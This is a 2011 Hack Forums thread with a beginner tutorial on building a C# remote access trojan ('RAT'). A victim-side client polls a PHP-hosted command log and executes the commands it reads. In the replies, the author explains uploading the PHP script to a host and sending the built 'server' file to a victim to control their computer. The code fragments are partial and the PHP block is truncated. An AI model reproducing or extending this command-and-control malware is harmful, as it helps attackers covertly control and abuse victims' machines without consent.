![]() |
|
[C#] [C# Tutorial][IMG's Reuploaded] Make a C# RAT, NO port-forwarding! - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [C#] [C# Tutorial][IMG's Reuploaded] Make a C# RAT, NO port-forwarding! (/showthread.php?tid=1037451) |
[C# Tutorial][IMG's Reuploaded] Make a C# RAT, NO port-forwarding! - CaptainBri - Feb 6, 2011 Make a C# RAT using the DarkCoder PHP method! No port-forwarding! Hello all, this is my biggest tutorial so far. I would first like to thank DarkCoder for the great idea! This tutorial is made for absolute-beginners. If you aren't one of them, skip to the end, download the project and get to work! First download WampServer, this is to develop your rat. You can download WampServer here: Code http://www.wampserver.com/en/download.php![]() Install it, click a couple of times yes, and you're good to go. Now create a notepad file, and put this code inside of it: Code <?phpSave it as ''index.php'' and make sure to put the second thingy to ''All Files'' ![]() Now copy this index.php to: "C:\wamp\www\captainbri" If the map ''captainbri'' is not there yet, make one and put the index.php into it. [img]http://img209.imageshack.us/img209/5159/62274329.gif[/img] Now open up Visual Studio, create a new C# Project, and name it "c_Server" ![]() Now double click the form, you will come into the coding window. [img]http://img87.imageshack.us/img87/7734/82760167.gif[/img] Now go to the top of the code, and below ''using System.Windows.Forms;'' put this code: Code using System.Net;Now we will write the code to check for any incoming commands. Make a void called ''Check'', that will check the command and act upon it. ![]() Now above the ''private void Check()'' part, we make a new WebClient, to download the command. Like this: Code WebClient client = new WebClient();Your code should look like this: ![]() Now we code the ''Check'' function. We are going to download the command-log and check for a command. Code string command = client.DownloadString("http://127.0.0.1/captainbri/log.txt");Now we split the string into smaller strings, using the ''.Split'' method. Code string[] a = command.Split('*');Now we make a simple ''if'' statement. This won't make any sense either, and I will also explain this later. Code if (a[0] == "website")And we delete the log after it's succesfully been read. Code client.DownloadString("http://127.0.0.1/captainbri/index.php?action=delete");Your code should look like: ![]() On the form_load we make a timer, that will check the command every 5 seconds, like this: ![]() Now we insert an event, so the timer will actually check every 5 seconds. [img]http://img248.imageshack.us/img248/5607/70130498.gif[/img] Tip: Press tab 2 times when Visual Studio sais so. Now remove that shitty ''trow new ... code and replace it like this: ![]() And add the code ''tim.Start();'' to the form_load! Your code should look like this: ![]() Now coding the server is done. Make a new project called ''c_Client'', like this: ![]() Now add 1 label, 1 button and 1 textbox to the form. [img]http://img155.imageshack.us/img155/4825/40045997.gif[/img] Name and edit the controls like this: Label --> Text = "Enter the website:" Textbox --> (Name) = "txtWebsite" Button --> (Name) = "btnStartWebsite" Like this: ![]() Your form should look like this: ![]() Now double click the button. Add to the top of your code just beneath ''using System.Windows.Forms;" this code: "using System.Net;" Like this: [img]http://img140.imageshack.us/img140/7754/94622831.gif[/img] Now create a new WebClient above the button's code: [img]http://img7.imageshack.us/img7/9964/51338787.gif[/img] Code WebClient client = new WebClient();Now write this code, it will send a command to the php, which will fill the log, and the server will read the log. So, write this: Code client.DownloadString("http://127.0.0.1/captainbri/index.php?action=write&data=website*" + txtWebsite.Text);Before we run the project, I will show you what happens. First, you send a command to the PHP file to write "website*" + the website you've entered. The PHP file writes this to the TXT. The server reads this TXT and splits it into an array of strings. Let me show you that in a picture. The command contains: ![]() And it splits it. ![]() The command is ''a[0]'' and the website is ''a[1]''! So, if the command is "website", start the website which is ''a[1]''! Let's run the project! The result: [img]http://img155.imageshack.us/img155/2909/98944277.gif[/img] Comments are more than welcome, and appriciated at the most! Thanks for reading my tutorial, I hope you learned something new! To download this project, visit this link: Code http://www.multiupload.com/DV8YKOVAUM* - qwerty156 - Feb 6, 2011 So this makes a rat like cybergate? Sorry for being such a noob * - DeathStar™ - Feb 6, 2011 (Feb 6, 2011 08:28 AM)qwerty156 Wrote: So this makes a rat like cybergate? Sorry for being such a noob No, Cybergate is not a PHP rat, and Cybergate is coded in Delphi. But basically yes a little bit like cybergate, with less functions thought. * - CaptainBri - Feb 6, 2011 (Feb 6, 2011 08:28 AM)qwerty156 Wrote: So this makes a rat like cybergate? Sorry for being such a noob This is the base of a simple PHP Rat. Nothing like CyberGate at this moment. (Feb 6, 2011 09:04 AM)DeathStar™ Wrote: No, Cybergate is not a PHP rat, and Cybergate is coded in Delphi. True. 👍 * - Fame - Feb 6, 2011 How'd you change your colors and shit? * - CaptainBri - Feb 6, 2011 (Feb 6, 2011 09:50 AM)Fame Wrote: How'd you change your colors and shit? You mean the font & color I've used? Like this? The code is: Code [color=#98FB98][font=Verdana]Like this?[/font][/color]* - [David]-- X - Feb 6, 2011 Nice tutorial dude! :) Offtopic: How'd you do those animated images? :D * - Fame - Feb 6, 2011 I mean this: [img]http://img7.imageshack.us/img7/9964/51338787.gif[/img] Those are some badass colors. I want them D: * - CaptainBri - Feb 6, 2011 (Feb 6, 2011 10:08 AM)[David]-- X Wrote: Nice tutorial dude! :) Thank you! I've used Camtasia Studio 7, exported as a GIF and uploaded to ImageShack! And Fame, I am PMing you, because I wrote an tutorial earlier on this subject, not gonna explain it all again lol. Ima pm you the tutorial. * - Fame - Feb 6, 2011 Can you give me the name of your scheme? I was going to reply asking this but you have PM's disabled. Thanks, Fame * - CaptainBri - Feb 6, 2011 It is the Ragnarok Blue scheme. * - qwerty156 - Feb 7, 2011 So the "Form1" is the infected file and you can open a website in your victims computer. * - CaptainBri - Feb 7, 2011 (Feb 7, 2011 02:49 AM)qwerty156 Wrote: So the "Form1" is the infected file and you can open a website in your victims computer. First upload the PHP script & log.txt to some PHP host, link the form1 server to your PHP host link, and then send the file to your victim, and now you are able to open up a website. * - CaptainBri - Feb 7, 2011 And I do have a question people, is this tutorial better/worse than this tutorial: https://hackforums.net/showthread.php?tid=229243 * - xexok - Feb 13, 2011 Is there any way to see if your infected by this or some variant of it? Figure you would know if anyone did CaptainBri. |